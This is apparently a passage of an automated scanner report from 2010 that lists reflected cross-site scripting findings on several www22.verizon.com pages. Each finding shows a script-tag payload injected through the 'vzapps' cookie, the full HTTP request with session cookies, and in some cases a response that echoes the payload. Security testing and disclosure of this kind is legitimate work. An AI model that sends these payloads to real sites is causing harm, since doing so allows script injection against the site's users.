MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 81b88<script>alert(1)</script>2530e13d834 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Overview.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX81b88<script>alert(1)</script>2530e13d834; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5fc02'><script>alert(1)</script>6248ef31c2c was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Overview.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX5fc02'><script>alert(1)</script>6248ef31c2c; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7846b'><script>alert(1)</script>c29d6df2ef0 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Overviewab/Overviewab HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX7846b'><script>alert(1)</script>c29d6df2ef0; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 2cddd<script>alert(1)</script>480f006356b was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Overviewab/Overviewab HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX2cddd<script>alert(1)</script>480f006356b; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 8a2f3<script>alert(1)</script>10518240ffc was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Plans/Plans.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX8a2f3<script>alert(1)</script>10518240ffc; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2b725'><script>alert(1)</script>adf7dee168d was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/Plans/Plans.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX2b725'><script>alert(1)</script>adf7dee168d; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e64e0'><script>alert(1)</script>02959857add was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/usingFiOS/usingFiOS.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXe64e0'><script>alert(1)</script>02959857add; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 121bc<script>alert(1)</script>dc34eddc5d was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/usingFiOS/usingFiOS.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX121bc<script>alert(1)</script>dc34eddc5d; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e60c3'><script>alert(1)</script>cd74e2803b2 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXe60c3'><script>alert(1)</script>cd74e2803b2; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 71898 Expires: Sat, 20 Nov 2010 02:11:28 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:11:28 GMT Connection: close Set-Cookie: ContextInfo_State=TXe60c3'><script>alert(1)</script>cd74e2803b2; path=/
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload fa1de<script>alert(1)</script>64aa99f0d43 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXfa1de<script>alert(1)</script>64aa99f0d43; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 71894 Expires: Sat, 20 Nov 2010 02:11:31 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:11:31 GMT Connection: close Set-Cookie: ContextInfo_State=TXfa1de<script>alert(1)</script>64aa99f0d43; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b6379'><script>alert(1)</script>c7fa140a027 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXb6379'><script>alert(1)</script>c7fa140a027; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 71903 Expires: Sat, 20 Nov 2010 02:13:08 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:13:08 GMT Connection: close Set-Cookie: ContextInfo_State=TXb6379'><script>alert(1)</script>c7fa140a027; path=/
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 6e3f5<script>alert(1)</script>2a57a1a74e5 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX6e3f5<script>alert(1)</script>2a57a1a74e5; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 71899 Expires: Sat, 20 Nov 2010 02:13:10 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:13:10 GMT Connection: close Set-Cookie: ContextInfo_State=TX6e3f5<script>alert(1)</script>2a57a1a74e5; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload edaca'><script>alert(1)</script>b8648eeae87 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
